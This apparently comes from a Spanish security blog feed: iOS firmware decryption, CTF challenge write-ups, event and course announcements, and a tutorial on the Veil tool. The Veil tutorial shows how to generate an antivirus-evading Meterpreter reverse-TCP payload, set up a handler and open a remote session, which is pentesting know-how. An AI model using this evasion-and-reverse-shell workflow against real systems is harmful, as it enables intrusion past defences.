inflating: Firmware/Trek-5.0.02.Release.bbfw

inflating: Firmware/Trek-5.0.02.Release.plist

creating: Firmware/usr/

creating: Firmware/usr/local/

creating: Firmware/usr/local/standalone/

inflating: kernelcache.release.n94

inflating: Restore.plist

$ srch_strings Firmware/dfu/iBSS.n94ap.RELEASE.dfu | head -10

3gmI

ssbiEPYT

ssbi

ATAD

jnZf

UZ^_

[...]

Como podemos ver, el formato de los ficheros no es reconocido, debido a que su contenido está cifrado. A pesar de que la clave de cifrado no se publica por Apple, los Jailbreakers las obtienen como parte de su trabajo de investigación, y van publicando aquellas que identifican, por ejemplo, en el iPhoneWiki.

En este caso, el propio iH8sn0w ha colgado en su Twitter una de las claves que ha encontrado durante su trabajo:

Con esta información ya podemos extraer las imágenes del IPSW que acabamos de descargar. Imagino que podríamos hacerlo a mano con openssl, pero yo he preferido usar una versión modificada del script "kernel_patcher.py" de la suite iphone-dataprotection (que podéis descargar de AQUI).

Básicamente, en script es el mismo que el original pero eliminando las acciones de parcheo del kernel, dejando las imágenes tal cual se encuentran dentro del IPSW. Veamos si funciona:

$ ./ipsw_decrypt.py --iv 3a0fc879691a5a359973792bcd367277 --key 371e3aea9121d90b8106228bf2b5ee4c638a0b4837fefbd87a3c0aca646e5996 --binary iBSS iPhone4,1_7.0.4_11B554a_Restore.ipsw

Decrypting iBSS.n94ap.RELEASE.dfu

Decrypted kernel written to iBSS.n94ap.RELEASE.dfu.decrypt

Parece que todo ha funcionado bien, así que solo nos queda ver si efectivamente lo que hay dentro tiene pinta de iBSS:

$ srch_strings iBSS.n94ap.RELEASE.dfu.decrypt

RELEASE

iBoot-1940.3.5

[...]

Pues... todo apunta a que sí. Lamentablemente cada imagen está cifrada con una clave diferente y no podemos utilizar esta misma clave para descifrar el iBoot y ponernos a mirar, así que por el momento habrá que esperar a ver si son publicados más detalles sobre la vulnerabilidad.

NcN PreQuals 2013: Reto 3 (b)

noreply@blogger.com (Jose Selvi) — Wed, 13 Nov 2013 07:00:00 +0000

Hace unos días, tras la solución del Reto 1 y el Reto 2 de las quals del CTF de la NcN de este año, os comentaba una posible solución al Reto 3, y os dejaba pendiente una segunda solución "tirando de debugger", que es la que veremos hoy.

Yo voy a utilizar radare2 para hacerlo, pero podríais utilizar gdb, IDA, o vuestro debugger favorito.

Para los que se pierdan como yo mirando el puro ensamblador, radare2 tiene una función con la que podemos pintar un poco los bloques de las funciones, lo cual nos ayudará a visualizar un poco mejor lo que pasa:

$ r2 -d level.elf
[0x0040101f]> af@main
[0x0040101f]> ag > foo.dot
foo.dot created

Hemos abierto el binario y nos hemos colocado en el main, y desde ahí generamos la gráfica que comentábamos anteriormente. Ahora solo tenemos que convertirla a otro formato más visible, por ejemplo PNG:

$ dot -Tpng foo.dot > foo.png

No voy a subir el PNG a alta resolución (podéis generarlo vosotros mismos), pero creo que con esta captura será suficiente para que veáis el proceso.

¿Os acordáis que nos habíamos dado cuenta que la aplicación comparaba carácter a carácter? Quizá buscar bucles sea un buen punto de partida. En este caso, se puede ver fácilmente en la gráfica que existen únicamente DOS bucles (los identificamos porque hay flechas que vuelven a bloques anteriores). Si miramos ambos detenidamente veremos que el que nos interesa es el de la izquierda de los que tenéis marcados. Las dos flechas señalan donde están los dos puntos donde voy a hacer zoom a continuación, para que no os perdáis.

Pegando un vistazo al bucle, observamos una bifurcación curiosa:

Como podéis ver, llega un momento en el que se realiza una comparación y el flujo de la ejecución se va a una rama que llama a la función game_over(), o a otra rama que llama a las funciones success() y después a no_me_jodas_manolo() (vaya nombre xDDD). Está claro que lo que nos interesa es forzar a que la ejecución del programa vaya a esta última rama, pero nos interesa hacerlo desde algún sitio en el que el contenido cifrado ya haya sido descifrado, o sino seguramente no vamos a conseguir nada ¿Donde podemos estar seguros que estará el contenido cifrado pero todavía no hemos tenido que introducir caracteres? Pues al comienzo del bucle que estábamos mirando.

Donde tenéis la fecha roja es el bloque a donde vuelve el bucle, con lo que... ¿qué pasará si sobre escribimos el contenido y metemos un salto al bloque que nos da la solución? ¿funcionará?

Os he marcado también con un recuadro rojo la que supuestamente es la comparación entre lo que introduce el usuario por teclado y lo que hay en memoria. Poniendo un breakpoint aquí y yendo a la zona de memoria a la que referencia seguramente también seríamos capaces de obtener la clave, pero de momento nosotros vamos a intentar hacer el bypass directo que comentábamos antes, a ver si funciona.

$ cp level.elf foolevel.elf
$ r2 -w foolevel.elf
[0x00400690]> s 0x0040114e
[0x0040114e]> wa jmp dword 0x0040117b
Written 5 bytes ( jmp dword 0x0040117b)=wx e928000000
[0x0040114e]> pd
,=< 0x0040114e e928000000 jmp dword 0x40117b

Hemos abierto una copia de level.elf a la que hemos llamado foolevel.elf y la hemos abierto en modo de escritura. Nos hemos ido a la posición 0x0040114e, que es la del inicio del bucle, y hemos sobre escrito un salto a la posición 0x0040117b, que es la del bloque que suponemos que nos mostrará el flag. Ahora solo nos queda salir de radare y ejecutar el binario a ver que pasa:

Bingo! Ya tenemos el flag de nuevo, pero esta vez no hemos necesitado sacar la clave. En otras situaciones no habríamos podido hacer esto (o hubiera resultado mucho más complicado), porque depende mucho de como esté implementado, pero en esta ocasión ha funcionado a las mil maravillas. Por supuesto, existen bastantes maneras de solucionar este mismo reto. Si lo habéis probado de otra manera y queréis dejar un comentario... será bien recibido :)

NcN PreQuals 2013: Reto 3 (a)

noreply@blogger.com (Jose Selvi) — Mon, 11 Nov 2013 07:00:00 +0000

En el último par de días habíamos hablado de la solución al Reto 1 y Reto 2 de las Quals del CTF de la NcN 2013, así que hoy nos toca ver la solución al Reto 3, el último en el que consistian las Quals. El reto consistía en un binario del que a priori no se proporcionaba más información.

En estos casos, lo mejor es empezar y saber ante que tipo de binario nos encontramos. Si no tiene la cabecera corrupta ni nada similar, debería bastarnos con usar el comando "file":

$ file level.elf
level.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xb589d432799bf15343387fea63d4bdc00faa177c, not stripped

Ya sabemos algo sobre el binario, es un ELF de 64 bits, así que deberíamos buscarnos un Linux de 64 bits en el que correr este binario ¿No tienes ninguno a mano? En ese caso te pasó igual que a mi al resolver este reto :) Por suerte Linux 64 bits es algo que podemos descargar facilmente de Internet.

Una vez que ya tenemos un Linux de 64 bits y podemos ejecutar el binario, a mi siempre me gusta ejecutarlo una vez a ver lo que hace antes de meterte "a saco" a desensamblar. El funcionamiento del binario te puede dar pistas sobre lo que tienes que buscar en el código.

$ ./level.elf
| > Type to win, only what I want to read...
| > f
|
| -> I DON'T THINK SO

Cuando llamas al binario, se queda esperando a que pulses alguna tecla y, si es incorrecta, inmediatamente cierra la ejecución. Es de suponer que al introducir la clave correcta nos dará el deseado flag.

Antes de seguir, solo por si fuera así de sencillo, deberíamos hacerle un "strings" al binario, no sea que la contraseña aparezca directamente:

$ strings level.elf
/lib64/ld-linux-x86-64.so.2
libc.so.6
fflush
puts
putchar
[..]
795ef9462825a6640f9a9d7e85a01f5bb311c5849f8fc0e41bf4030f43e583f3
50a89ea2b500750f9baa163adee2057881b418e47bce9ddced4941556614e499
be0978a13b5875b112bcc84b4b688d68ec2d11010543189540bffa3641f2623d
911106de1b05db8d1b0fb2fe118345b4db6ddb930cf61290fd0b8336ffb394fd
a750b2d4129207fbbe6527ddd396f24327f4302c0b8496e154f139612bfc3312
a3f0e19a20d10cb055fbaaf4bbe82859074e50f4f8c2cde2b907c0947941ec98
[...]

No os pongo toda la salida, por no hacer grande el post, pero no vemos nada que pueda parecer la clave ni el flag, pero sí que vemos algo que tiene pinta de estar cifrado. Es muy común en este tipo de retos que haya información cifrada que el propio binario se encargue descifrar, para evitar que sea tan fácil sacar la clave.

Esta vez no hubo suerte con el strings, así que vamos a tener que ejecutar el binario para que haga su trabajo. Otra de las cosas que suelo hacer es usar el comando "ltrace" (o "strace", o "ptrace", según la ocasión). El comando "ltrace" nos mostrará las llamadas a librerías, con lo que si se ejecuta un strcmp() o similar debería aparecernos:

$ ltrace ./level.elf
__libc_start_main(0x40101f, 1, 0x7fff991818e8, 0x4011c0, 0x401250
fputc('\n', 0x7f279f827260
) = 10
fwrite("| > ", 1, 6, 0x7f279f827260) = 6
fflush(0| > ) = 0
fwrite("Type to win, only what I want to"..., 1, 41, 0x7f279f827260) = 41
fflush(0Type to win, only what I want to read... ) = 0
fputc('\n', 0x7f279f827260
) = 10
fwrite("| > ", 1, 6, 0x7f279f827260) = 6
fflush(0| > ) = 0
tcgetattr(0, 0x00603400) = 0
tcsetattr(0, 0, 0x00603440) = 0
getchar(0, 21505, 51729, -1, 0x603440) = 120
tcsetattr(0, 0, 0x00603400) = 0
fputc('\n', 0x7f279f827260
[...]

Tampoco aparece nada, así que una de dos, o el programador está comparando carácter a carácter (algo coherente con el funcionamiento que hemos visto antes) o se ha implementado su propia versión de comparador de cadenas. Vamos a suponer lo primero y vamos a hacer una pequeña prueba: Vamos a hacer un pequeño script en python que pruebe todos los posibles valores ascii para el primer elemento, y vamos a pegar un vistazo a ojo a ver si hay algún cambio en la salida:

Vaya! Parece que sí que hay algo que cambia! Cuando probamos con el carácter 32 (0x20, vamos, el espacio) la salida nos marca con un asterisco, como señalando que hemos marcado un carácter bien, aunque nos sigue diciendo "I DON'T THINK SO", que nos hace ver que aún nos quedan caracteres por meter. Asumiendo que cada vez que acertemos otro carácter tendremos un asterisco más, y que esa frase de "I DON'T THINK SO" desaparecerá una vez obtengamos la solución, nos hacemos otro script en python para que nos automatice un poco la tarea:

$ cat bruteforce.py
#!/usr/bin/python
import subprocess
password = ""
for l in xrange(1,20):
for c in xrange(1,255):
if c == 34:
continue
temp_pass = password + chr(c)
result = subprocess.check_output('echo \"'+temp_pass+'\" | ./level.elf', shell=True)
if "I DON'T THINK SO" not in result:
print temp_pass
print result
exit(0)
n = result.count('*')
if n == l:
print temp_pass
password = password + chr(c)
break

Hacemos un bucle de longitudes de 1 a 20 (podríamos poner más), y para cada posición probamos todos los posibles valores ascii y analizamos el resultado. Si la cantidad de caracteres asterisco es igual a la longitud de la clave que habíamos probado, es que es que hemos acertado, y sino tenemos que probar con el siguiente. Además, si la frase "I DON'T THINK SO" desaparece del resultado, probablemente hemos encontrado la contraseña correcta y tendremos la solución. Vamos a ver si funciona:

$ time ./bruteforce.py
S
SU
SUR
SURP
SURPR
SURPRI
SURPRIS
SURPRISE
SURPRISE!
| > Type to win, only what I want to read...
| > **********
|
| -> Congratulations! The key is:
| 9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb

real 0m7.179s
user 0m0.772s
sys 0m4.316s

Bingo! Parece que ya tenemos el tercer flag :)

Este reto había muchas maneras de resolverlo. En este caso, como no soy persona que se dedique a hacer reversing a diario, me resultaba más cómoda esta aproximación, pero quise probar también a ver como lo podría haber resuelto arrancando el debugger y viéndole las tripas al binario, por eso he llamado a este post "a", porque falta la solución "b", con debugger.

NcN PreQuals 2013: Reto 2

noreply@blogger.com (Jose Selvi) — Thu, 07 Nov 2013 06:30:00 +0000

Ayer veíamos la solución al reto 1 de las prequals del CTF de la NocONName de 2013, así que hoy vamos a ir con la solución del reto 2. Este reto consistía en una aplicación para Android (APK) de la que no se nos daba mucha más información.

Lo primero que intenté fue instalarla en el emulador, pero esta se cerraba nada más intentar arrancarla. Intenté lo mismo con un par de dispositivos físicos pero obtuve el mismo resultado. Tras intentar hacer cambios en el código a nivel smali (eso para otro post) para intentar arreglar los errores, pensando que era parte del reto, al final pensé en pegarle un vistazo al código antes de seguir por ese camino, no fuera que sea un código no ofuscado y sencillo de leer y no esté haciendo más que perder tiempo intentando ejecutarlo. Así que vamos a ello, a desempaquetar:

$ apktool d level.apk levelapk_apktool

Este comando, si tenemos instaladas las apktools, nos creará un directorio "levelapk_apktool" con todo el contenido del APK. Vamos a pegarle un vistazo al AndroidManifest.xml a ver cual es la MainActivity para ver por donde tenemos que empezar a buscar:

$ cat levelapk_apktool/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.facebook_ctf.challenge"
xmlns:android="http://schemas.android.com/apk/res/android">
  <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="15" />
  <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/ic_launcher">
<activity android:label="@string/title_activity_main" android:name="com.facebook_ctf.challenge.MainActivity">
  <intent-filter>
  <action android:name="android.intent.action.MAIN" />
  <category android:name="android.intent.category.LAUNCHER" />
  </intent-filter>
  </activity>
  <activity android:label="@string/title_activity_main" android:name="com.facebook_ctf.challenge.MainActivity" />
  </application>
</manifest>

Ya sabemos que el inicio de todo se encuentra en "com.facebook_ctf.challenge.MainActivity". Ahora podríamos irnos al directorio "smali" y bucear hasta esa función, pero a mi me resulta más sencillo extraer el dex y decompilarlo con alguna herramienta como jd-gui. Para ello tendremos que extraer el APK de otra forma, simplemente haciendo un unzip:

$ mkdir levelapk_unzip
$ cp level.apk levelapk_unzip/
$ cd levelapk_unzip
$ unzip level.apk

Tras hacer el unzip veremos que tenemos un fichero classes.dex . Este fichero no puede ser abierto directamente con jd-gui, pero podemos transformarlo en un JAR de forma sencilla con la herramienta dex2jar:

$ d2j-dex2jar.sh classes.dex
dex2jar classes.dex -> classes-dex2jar.jar
$ mv classes-dex2jar.jar classes.jar

Ahora ya podemos irnos a JD-GUI y buscar "com.facebook_ctf.challenge.MainActivity" y sus funciones, particularmente el constructor y onCreate(), que es donde generalmente se inician las acciones:

Como podemos ver, el onCreate() realiza una serie de acciones y acaba llamando a una función de su propia clase llamada yaaaay(), que vamos a ver que pinta tiene:

En la función yaaaay(), se comienza instanciando un montón de Bitmaps que se sacan de los recursos de la aplicación (todavía no sabemos que son). Luego se elige uno de ellos de forma aleatoria y se muestra. Por en medio de todo eso, aparece una función makeMeHappyAgain() a la que se le están pasando el resultado de otras funciones makeMeHappy() a las que a su vez se les pasa los Bitmaps que comentamos anteriormente. La llamada sería una cosa así:

makeMeHappyAgain(

makeMeHappy( localBitmap1, localBitmap2, localBitmap3, localBitmap4 ),

makeMeHappy( localBitmap5, localBitmap6, localBitmap7, localBitmap8 ),

makeMeHappy( localBitmap9, localBitmap10, localBitmap11, localBitmap12 ),

makeMeHappy( localBitmap13, localBitmap14, localBitmap15, localBitmap16 )

);

Vamos a ver entonces que hacen estas funciones que nos van a hacer tan felices :)

Las funciones, como podéis ver, son casi iguales, ambas crean un nuevo bitmap y van pegando en él los otros bitmaps uno a continuación del otro. La única diferencia entre ambas funciones es que una lo hace en horizontal y la otra en vertical. Si volvemos a pensar en la llamada original, veremos que lo que está haciendo es coger todos los Bitmaps que había cargarlo y juntarlos todos en un solo Bitmap 4x4. Ese bitmap resultado... no va a ningún sitio!! La aplicación no hace nada con él, pero llegados a este punto seguro que la solución del reto iba por ahí, así que... vamos a ver, viendo que recurso estaba cargado en cada variable, como quedaría ese bitmap 4x4:

Pero... ¿cuales son estos recursos? Para saberlo tenemos que irnos a los ficheros de recursos de la aplicación a ver si encontramos estos mismos números, a ver que son:

$ cat levelapk-apktool/res/values/public.xml

[...]
<public type="raw" name="a" id="0x7f040000" />
  <public type="raw" name="b" id="0x7f040001" />
  <public type="raw" name="c" id="0x7f040002" />
  <public type="raw" name="d" id="0x7f040003" />
  <public type="raw" name="e" id="0x7f040004" />
  <public type="raw" name="f" id="0x7f040005" />
  <public type="raw" name="g" id="0x7f040006" />
  <public type="raw" name="h" id="0x7f040007" />
  <public type="raw" name="i" id="0x7f040008" />
  <public type="raw" name="ic_secret" id="0x7f040009" />
  <public type="raw" name="j" id="0x7f04000a" />
  <public type="raw" name="k" id="0x7f04000b" />
  <public type="raw" name="l" id="0x7f04000c" />
  <public type="raw" name="m" id="0x7f04000d" />
  <public type="raw" name="n" id="0x7f04000e" />
  <public type="raw" name="o" id="0x7f04000f" />
  <public type="raw" name="p" id="0x7f040010" />
[...]

Como veis, los números aparecen, pero en su forma hexadecimal, y aparecen referenciados a elementos de tipo "raw", que si miramos en la carpeta "raw" a ver que pinta tienen, veremos algo así:

Está claro que al final de la jugada vamos a obtener un código QR donde seguramente estará el flag que buscamos. Ahora solo nos falta rehacer nuestro cuadro anterior pero esta vez poniendo ya el nombre de las imágenes:

La composición de la imagen quedaría tal que así, y la podríamos hacer con un script, con algunas herramientas que directamente juntan imágenes, o completamente a mano. En mi caso, como son pocas imágenes y no sabía de memoria como manejar imágenes (no es algo que suela programar), me pareció más rápido a mano. Veréis que he marcado dos bitmaps en amarillo, eso es porque, al montar la imagen, veréis de repente que el bitmap que estáis poniendo no encaja con los demás, pero no resulta muy complicado colocarlo "a ojo" en su sitio adecuado. Después de juntar todo y ver que el código QR resultante parece tener sentido, tenemos algo así:

Hay herramientas de linea de comandos para leer estos código, herramientas on-line, o directamente podéis apuntar con vuestro móvil a la pantalla y leerlo si tenéis la aplicación adecuada. Yo opté por hacerlo con una herramienta on-line. La primera que probé no me funcionó, pero la segunda que probé ya me sacó el resultado esperado:

Ya tenemos el segundo :)

NcN PreQuals 2013: Reto 1

noreply@blogger.com (Jose Selvi) — Wed, 06 Nov 2013 06:40:00 +0000

Como ya sabéis, esta pasado fin de semana fueron las finales del CTF de la NcN, organizadas por el equipo de seguridad de FaceBook, pero algunas semanas antes de eso los equipos tuvieron que pasar una clasificación basada en tres pruebas.

En la primera de ellas, nos encontrábamos ante un formulario web con un solo campo en el que supuestamente debíamos acertar con la contraseña para que nos proporcionara el Flag. En estos casos, lo primero es ver como son las conexiones a bajo nivel, para lo que normalmente lo mejor es configurar un proxy intermedio (Burp en mi caso).

Al hacerlo, nos damos cuenta que la aplicación nos devuelve un mensaje "Invalid password" antes de realizar ninguna conexión, con lo que podemos intuir que se produce algún tipo de validación en el lado cliente. Para confirmarlo, desconectamos el equipo de Internet y volvemos a probar. Es conveniente hacer esto porque puede haber plugins (flash, java, ...) que no hagan caso de la configuración del proxy del navegador, y confundirnos un poco. Una vez confirmado que hay algo en el lado cliente, solo tenemos que pegar un vistazo al código HTML:

Como podemos ver, la página carga un script llamado crypto.js, y llama a una función encrypt() al enviar el contenido del formulario. Si miramos el contenido de crypto.js veremos que tiene un javascript ofuscado que no nos deja ver muy bien la función de validación. Existen maneras de desofuscar este código, pero una rápida que suelo hacer yo es sustituir la función eval() por un alert(), de tal modo que el código javascript desofuscado que se debería ejecutar, en lugar de ser ejecutado, es mostrado en un alert, y lo podemos copiar y pegar en un fichero:

Todo lo que nos devuelve el alert lo copiamos y pegamos en un TXT, aplicamos unos cuantos saltos de linea, y podemos leer fácilmente la función encrypt() que habíamos visto antes, que tiene una pinta tal que así:

Como podemos ver, la cadena de texto que introduzcamos es convertida en un valor numérico por medio de la función numerical_value(), y a este valor se le aplican una serie de operaciones matemáticos. Si el resultado final es CERO, entonces la contraseña es correcta.

Si hacemos el proceso inverso podemos ir calculando que valor debería devolver numerical_value() para que la contraseña sea correcta:

res = res^4153 -> res debería ser 4153, para que al hacer XOR el resultado sea cero.
res = res/4 -> multiplicamos 4153 por cuatro, para hacerla operación contraria.
res = res>>>6 -> desplazamos hacia la izquierda 6 bits
res = res*(3+1+3+3+7) -> dividimos por 17.

El resultado final es 62540, aunque otros valores cercanos también pueden dar el mismo resultado, debido a las operaciones de división y desplazamiento de bits.

Ahora solo nos queda encontrar una cadena de texto que, al aplicarle numerical_value(), dé éste valor o cercano. Como podemos ver en la imagen anterior, numerical_value() coge los valores ASCII de cada uno de los caracteres y los multiplica por su posición (empezando en 1), y los suma todos para obtener el valor final.

A partir de aquí, tenemos varias opciones para obtener la cadena: hacer un análisis o probar por fuerza bruta. En este caso a mi me pareció sencillo y rápido hacerlo a mano, así que tomé esta aproximación:

Modificamos el código javascript para que haga un alert() del valor devuelto por numerical_value(), así tenemos una referencia del valor de la cadena que estamos calculando (res=numerical_value(form.password.value); alert(res); ...)
Vamos metiendo cadenas compuestas del caracter 'Z' y vamos aumentando la longitud hasta que el valor devuelto sea mayor que 62540 (ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ -> 63270).
Ahora vamos decrementando el último caracter mientras el valor devuelto sea mayor que 62540. Cada cambio en caracteres de más a la derecha es más significativo en el resultado final, y cada cambio en caracteres de más a la izquierda proporciona un cambio más sutil.
Vamos jugando con las posiciones y letras hasta que llegamos al valor deseado.

ZPZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZG -> 62547

Como podéis ver, el valor finalmente es 62547, que como decíamos no es exactamente el que habíamos calculado, pero ya sabíamos que podía pasar esto y que era perfectamente válido.

Ya tenemos uno :)

Navaja Negra, INTECO, Vilanet y GSICKMINDS: Octubre movidito!

noreply@blogger.com (Jose Selvi) — Tue, 01 Oct 2013 05:15:00 +0000

Aunque llevaba un tiempo en el que no me he prodigado ni en el blog ni dando charlas en ningún sitio (por motivos que ya comentaré más adelante), este mes rompo el hielo de nuevo y estaré en varios sitios a lo largo de la geografía española contando algunas técnicas que utilizo habitualmente en mi trabajo cuando realizo test de intrusión interno. El título de la charla es "Offensive MitM" y pretende dar una aproximación más ofensiva al clásico MitM con Cain y a la captura de credenciales en claro o crackeo de autenticación de red. Durante la charla veremos como podemos manipular algunas conexiones "al vuelo" para inyectar contenido que sirva para nuestros oscuros propósitos, tomo amenizado con 3-4 pequeñas demostraciones.

Mi primera parada será esta misma semana en Albacete, en las conferencias Navaja Negra, los días 3, 4 y 5, donde compartiré cartel con esta horda de ponentes:

La semana siguiente, los días 11, 12 y 13 estaré en la Vilanet en Villareal (provincia de Castellón), que aunque no es una conferencia específica de seguridad han tenido la amabilidad de invitarme a participar en una de las charlas que hay el sábado día 12.

Dos semanas después, el miércoles día 23, participaré en el III Encuentro de Blogueros de Seguridad que tendrá lugar dentro del evento ENISE, organizado por INTECO, en la ciudad de León, que consistirá en una mesa redonda en la que abordaremos diferentes temas.

Por último, pero no por ello menos importante, los días 24, 25 y 26 de este mismo mes estaré en GSICKMINDS en A Coruña, compartiendo cartel con ESTOS ponentes.

Y así acabará mi Octubre viajero. Espero veros a alguno en estas conferencias.

Curso Incident Handling en Madrid en Septiembre

noreply@blogger.com (Unknown) — Tue, 09 Jul 2013 06:30:00 +0000

Contribución de Rafael Alfaro, con el que he tenido la suerte de coincidir en la Universidad, en algún trabajo y como Mentor de cursos del SANS Institute:

Como seguramente muchos ya sabréis, el SANS Institute es uno de los centros de investigación y formación en seguridad más prestigiosos del mundo. Entre los recursos que ofrece (algunos gratuitos y otros de pago) hay cursos de todo tipo relacionados con la seguridad, algunos de ellos son los más técnicos que podemos encontrar hoy en día.

De entre ellos, he acordado con el SANS Institute impartir el curso "SEC504: Hacker Techniques, Exploits & Incident Handling" en modalidad Mentor, cuya última edición se celebró en España en 2010. El curso lo impartiré conjuntamente con Jose Manuel Méndez. En esta modalidad, los estudiantes dispondrán de una copia impresa de los materiales (en inglés) y de un DVD con las máquinas virtuales, herramientas, etc necesarias para realizar los ejercicios. Además de este material de auto-estudio, el Mentor impartirá una clase semanal de dos horas durante 10 semanas comprendidas entre el 13 de Diciembre y el 28 de Febrero (salvo 27 de Diciembre y 3 de Enero). El objetivo principal de las clases es resolver dudas, mostrar como se usan las herramientas y la realización de ejercicios adicionales que favorezcan la comprensión de las técnicas y las herramientas. Podéis encontrar más detalles sobre las diferentes modalidades de cursos que ofrece el SANS Institute AQUÍ.

Los materiales del curso están en inglés, pero las clases serán impartidas en Español.

Las clases se realizarán los viernes de 18.00 a 20.00 en las instalaciones de VASS Madrid, situadas en la Avda Dr. Severo Ochoa, 25 Edificio Fiteni V, situado en Alcobendas (Madrid).

El SANS Institute ha publicado la página del curso en la siguiente dirección, para que la gente se pueda apuntar. En caso de que os interese, antes de apuntaros poneros en contacto conmigo en ralfaro.march _ARROBA_ gmail.com. Si os interesa o tenéis alguna pregunta, no tardeis en apuntaros o poneros en contacto conmigo, porque en función de la gente interesada el curso se realizará o no.

¿Qué es y para qué sirve el Incident Handling?

El Incident Handling, traducido como gestión de incidentes, son todas aquellas acciones a realizar con el fin de minimizar el impacto y corregir el problema que nos ha llevado a sufrir un incidente de seguridad. En mi experiencia como Incident Handler, han sido muchas las veces que una empresa ha requerido estos servicios tras sufrir una intrusión, una infección por malware o cualquier otro tipo de incidente de seguridad.

Cuando esto se produce y todo el mundo pierde los nervios, un Incident Handler debe mantener la sangre fria y analizar la situación, determinar el origen de la amenaza y manera en que se produjo el incidente, aplicar las medidas de contención, recoger las evidencias necesarias y finalmente solucionar el incidente de tal forma que se haya eliminado tanto la amenaza como la vulnerabilidad que permitió que dicho incidente se produjera. Como podeis imaginar, la gestión de este tipo de incidentes requiere el uso de una metodología apropiada, así como unos conocimientos profundos de técnicas de hacking, intrusión y/o malware que nos permitan reconocer la situación, lo cual será imprescindible para tomar unas medidas de contención y erradicación eficaces y, por tanto, para dar por resuelto el incidente.

Resumiendo:

Título: SEC504: Hacker Techniques, Exploits & Incident Handling

Instructores:

- Rafael Alfaro March

- Jose Manuel Méndez

Certificación asociada: GCIH (GIAC Certified Incident Handling).

Duración del curso:

10 clases de 2 horas los viernes tarde.

Material necesario:

- Cada alumno necesitará llevar su ordenador portátil para hacer los ejercicios.

Lugar del curso:

- Avda Dr. Severo Ochoa, 25 Edificio Fiteni V, situado en Alcobendas (Madrid). Enlace Google Maps.

- Enlace a la página de SANS con toda la información y registro.

Es importante que las personas interesadas se pongan en contacto conmigo antes de registrarse, ya que les tengo que dar un código para que lo metan en la web de SANS cuando haya que apuntarse.

Actualización 14/10/2013: Se cambian las fechas y se actualiza el enlace a la web del SANS. El curso ya cuenta con la cantidad mínima de asistentes para si realización.

Antivirus Bypass con Veil

noreply@blogger.com (Jose Selvi) — Mon, 03 Jun 2013 06:00:00 +0000

Hace unos pocos días Christopher Truncer publicaba en SU BLOG un artículo sobre una herramienta desarrollada por él mismo y a la que ha dado el nombre de VEIL. Esta herramienta tiene una utilidad interesante para todos aquellos que nos dedicamos al Pentesting y tenemos en ocasiones algún problema con los Antivirus, ya que genera payloads de Metasploit que luego codifica de una manera propia y genera un ejecutable nuevo, a priori no detectado por ellos.

La herramienta puede descargarse de ESTE GITHUB, y a priori debería ser multiplataforma, aunque yo no lo he conseguido hacer funcionar en mi Mac, así que os recomendo que lo probéis directamente con Kali Linux.

# git clone https://github.com/ChrisTruncer/Veil.git

Incluso si lo hacéis con Kali-Linux, es necesario instalar una serie de componentes en el Wine (Python y otros módulos). Por suerte el autor nos ha dejado un script que lo hace todo de forma automática. Solo tenemos que ir dandole a siguiente a todo lo que salga:

# cd Veil
# cd setup
# ./setup.sh

Una vez hecho esto, ya podemos llamar a Veil y empezar a jugar:

# ./Veil.py
====================================
Veil | [Version]: 1.0 | [Updated]: 05.30.2013
====================================
[By]: Chris Truncer | [Twitter]: @ChrisTruncer
====================================
[?] What payload type would you like to use?
1 - Meterpreter - Python - void pointer
2 - Meterpreter - Python - VirtualAlloc()
3 - Meterpreter - Python - base64 Encoded
4 - Meterpreter - Python - Letter Substitution
5 - Meterpreter - Python - ARC4 Stream Cipher
6 - Meterpreter - Python - DES Encrypted
7 - Meterpreter - Python - AES Encrypted
0 - Exit Veil
[>] Please enter the number of your choice: 7

Nos da varias opciones de técnicas que podemos usar para generar un Meterpreter evadiendo los antivirus. Elegimos, por ejemplo, el cifrado AES, y seguimos adelante:

[?] What type of payload would you like?
1 - Reverse TCP
2 - Reverse HTTP
3 - Reverse HTTPS
0 - Exit Veil
[>] Please enter the number of your choice: 1
[?] What's the Local Host IP Address: 192.168.1.100
[?] What's the Local Port Number: 1212
[*] Generating shellcode...

Elegimos que el payload sea reverse_tcp e introducimos los datos de nuestra IP y puerto a la escucha. Seguimos adelante:

[?] How would you like to create your payload executable?
1 - Pyinstaller (default)
2 - Py2Exe
[>] Please enter the number of your choice: 1
184 INFO: wrote Z:\opt\Veil\payload.spec
244 INFO: Testing for ability to set icons, version resources...
261 INFO: ... resource update available
267 INFO: UPX is not available.
2296 INFO: checking Analysis

[...]

Elegimos que genere el binario con PyInstaller, que es la opción por defecto y ,después de unas cuantas lineas, al final nos avisa de que el binario ha sido generado:

[!] Be sure to set up a Reverse TCP handler with the following settings:

PAYLOAD = windows/meterpreter/reverse_tcp

LHOST = 192.168.1.100

LPORT = 1212

[!] Your payload files have been generated, don't get caught!

Parece que ya tenemos el Payload generado pero... ¿funcionará? Vamos a lanzar un módulo multi/handler de Metasploit y a ejecutarlo en un Windows, a ver si funciona como nos tiene acostumbrados:

$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=1212 E
[*] Started reverse handler on 0.0.0.0:1212
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.100:1212 -> 192.168.1.100:50461) at 2013-05-31 10:53:58 +0200
meterpreter > sysinfo
Computer : S21SEC-JSELVI
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : es_ES
Meterpreter : x86/win32

Funcionar vemos que funciona, pero ahora falta ver si de verdad es indetectable por los antivirus. Por norma general no os recomiendo que utilicéis VirusTotal para probar vuestros encoders, porque VT distribuye las muestras a las casa antivirus, así que os podéis encontrar de que de repente empiecen a detectar vuestro encoder, cuando antes no lo hacían. Sin embargo, en este caso, la herramienta es pública, así que es cuestión de tiempo que se pongan con ello y empiecen a detectarlo, por lo que podemos hacer el experimento con VT sin problemas. EL RESULTADO del análisis han sido que solo 2 de los 46 AntiVirus lo han detectado, y ninguno de ellos era de los principales fabricantes del sector.

